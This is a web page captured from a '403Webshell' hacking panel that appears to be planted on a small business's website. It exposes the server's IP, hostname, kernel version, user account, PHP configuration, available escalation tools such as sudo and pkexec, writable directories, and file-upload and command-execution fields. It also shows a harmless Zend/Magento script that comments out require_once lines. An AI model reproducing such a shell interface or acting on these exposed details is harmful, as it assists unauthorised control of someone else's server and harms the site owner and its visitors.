403Webshell
Server IP : 67.43.7.42  /  Your IP : 216.73.216.61
Web Server : Apache
System : Linux host.isabellascookies.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : isabella ( 503)
PHP Version : 5.5.38
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/isabella/public_html/lib/Zend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/isabella/public_html/lib/Zend/replace_recursive.php
<?php

replace_recursive('.');

function replace_recursive($dir)
{
    $files = glob($dir.'/*');
    foreach ($files as $file) {
        if ($file=='.' || $file=='..') {
            continue;
        }
        if (is_dir($file)) {
            replace_recursive($file);
            continue;
        }
        if (substr($file, -4)!=='.php') {
            continue;
        }

        if (false !== strpos($file, 'replace_recursive.php')) {
            continue;
        }

        $orig = file_get_contents($file);

        $replaced = preg_replace("/([^#])require_once/", "\$1#require_once", $orig);

        if (strpos($file, 'Locale/Math.php')!==false) {
            $replaced = str_replace(
                "#require_once 'Zend/Locale/Math/PhpMath.php';",
                "require_once 'Zend/Locale/Math/PhpMath.php';",
                $replaced);
        }

        if (strcmp($orig, $replaced)===0) {
            continue;
        }

        $fp = fopen($file, 'w');
        fwrite($fp, $replaced);
        fclose($fp);

        echo "Changed '$file'\n";
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit